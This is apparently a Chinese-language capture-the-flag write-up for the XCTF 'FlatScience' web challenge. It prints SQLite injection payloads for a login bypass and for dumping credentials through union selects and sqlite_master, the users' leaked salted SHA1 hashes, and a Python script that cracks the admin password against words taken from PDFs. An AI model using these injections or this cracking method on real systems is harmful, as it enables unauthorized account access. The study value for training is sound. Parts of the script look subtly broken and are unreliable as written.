XCTF-FlatScience

FlatScience

  • 题目描述

    啥描述也没有

  • 解题过程

    • 页面有好多链接,除了论文pdf之外,还有子目录下的index.html

      比如:/1/index.html/1/3/index.html

    • 扫了下,有/admin.php,/login.phprobots.txt(里面也是这俩页面)

    • /login.php页面,id加引号有报错,是SQLite3

      ' or 2=2 --直接登录上了,进来是最开始的那个/index.html

      登陆成功会跳转,没有回显,猜测可以进行布尔/延时盲注,以前好像没做过sqlite的注入题,好多关键字和函数都用不了,找的一些payload也用不了,丢给sqlmap跑了一下,可以延时盲注,但这个盲注太慢了(一直出错)

    • 去看了/admin.php,大概是/login.php的加强版,没法注入

    • 到这块思路有点断,只能等比蜗牛还慢的sqlmap跑点东西出来

    • 等结果的时候看了下源码,发现有测试参数

      访问?debug,返回了源码(下面是php部分)

      <?php
      if(isset($_POST['usr']) && isset($_POST['pw'])){
              $user = $_POST['usr'];
              $pass = $_POST['pw'];
      
              $db = new SQLite3('../fancy.db');
              
              $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
          if($res){
              $row = $res->fetchArray();
          }
          else{
              echo "<br>Some Error occourred!";
          }
      
          if(isset($row['id'])){
                  setcookie('name',' '.$row['name'], time() + 60, '/');
                  header("Location: /");
                  die();
          }
      
      }
      
      if(isset($_GET['debug']))
      highlight_file('login.php');
      ?>
      
      

      因为/admin.php页面给了用户名是admin,这里看看能不能注处对应的密码

      注意到:

      • user参数对应输入框ID
      • name参数会被写到cookie

      所以可以union select用admin的密码代替name

      ' union select id,password from Users where name='admin' --

      拿到密码是+3fab54a50e770d830c0416df817567662a9dc85c, = =忘了还有sha1

      刚好sqlmap也跑完了,发现只有一个Users

    • 猜测是要用admin账号在/admin.php登录,所以需要拿到密码

      有两个思路

      • 一个是跑出密码

      • 一个是覆盖之前的密码

        INSERT INTO Users(id, name, password) VALUES(999, 'test', '7c4a8d09ca3762af61e59520943dc26494f8941b')发现insert不可用

      • 用上边查密码的方法查了下admin的id=1,

        update Users set password='7c4a8d09ca3762af61e59520943dc26494f8941b' where id=1发现update不可用

    • 到这基本没思路了,跑密码也不能硬跑啊。。。

    • 看wp

      • 确实是队sqlite的了解太少了,这里用到了sqlite自带的结构表sqlite_master

        ' union select name,sql from sqlite_master --+

        得到

        CREATE TABLE Users(
            id int primary key,
            name varchar(255),
            password varchar(255),
            hint varchar(255)
        )
        
      • 把这几个字段都扒下来

        ' union select id,group_concat(xxx) from Users --+

        name password hint
        admin 3fab54a50e770d830c0416df817567662a9dc85c my fav word in my fav paper?!,
        fritze 54eae8935c90f467427f05e4ece82cf569f89507 my love is … ?
        hans 34b0bb7c304949f9ff2fc101eef0f048be10d3bd the password is password
      • 看hint的意思,密码是paper里的一个单词

        回过头去看这些paper的链接,没啥不同的,都下载下来吧

      • 贴个处理pdf的代码,偷懒copy了一份,然后调好了bug(python3)

        from pdfminer.pdfparser import PDFParser
        from pdfminer.pdfdocument import PDFDocument
        from pdfminer.pdfpage import PDFPage
        from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
        from pdfminer.converter import PDFPageAggregator
        from pdfminer.layout import LTTextBoxHorizontal, LAParams
        import logging
        import hashlib
        import re
        import os
        
        
        def pdf_2_txt(start, end):
            pdf_filename = start
            txt_filename = end
            # 不显示warning
            logging.propagate = False
            logging.getLogger().setLevel(logging.ERROR)
            device = PDFPageAggregator(PDFResourceManager(), laparams=LAParams())
            interpreter = PDFPageInterpreter(PDFResourceManager(), device)
            parser = PDFParser(open(pdf_filename, 'rb'))
            doc = PDFDocument(parser)
            parser.set_document(doc)
            # 检测文档是否提供txt转换,不提供就忽略
            if not doc.is_extractable:
                pass
            else:
                with open(txt_filename, 'w+', encoding="utf-8") as fw:
                    print("num page:{}".format(len(list(PDFPage.create_pages(doc)))))
                    for page in PDFPage.create_pages(doc):
                        interpreter.process_page(page)
                        layout = device.get_result()
                        for x in layout:
                            if isinstance(x, LTTextBoxHorizontal):
                                results = x.get_text()
                                fw.write(results)
        
        
        def get_pwd():
            for a in range(1, 31):
                f = open(filePath + '\txt\' + str(a) + ".txt", "r", encoding='UTF-8').read()
                wordlist = re.split(" |
        ", f)
        
                for s in wordlist:
                    y = s + "Salz!"
                    encode = hashlib.sha1(y.encode('utf-8')).hexdigest()
                    if encode == "3fab54a50e770d830c0416df817567662a9dc85c":
                        print("password is :" + s)
                        break
        
        
        if __name__ == '__main__':
            filePath = ''  # 绝对路径
            lists = os.listdir(filePath)
        
            for i in range(1, 31):
                x = filePath + '\' + lists[i - 1]
                pdf_2_txt(x, filePath + '\txt\' + str(i) + '.txt')  # 在目录下创建一个txt文件夹
                
        
  • 参考

    https://blog.csdn.net/qq_42967398/article/details/103480502

    https://www.e-learn.cn/topic/2155194

    https://www.cnblogs.com/xiaozi/p/5760321.html

原文地址:https://www.cnblogs.com/R3col/p/13044568.html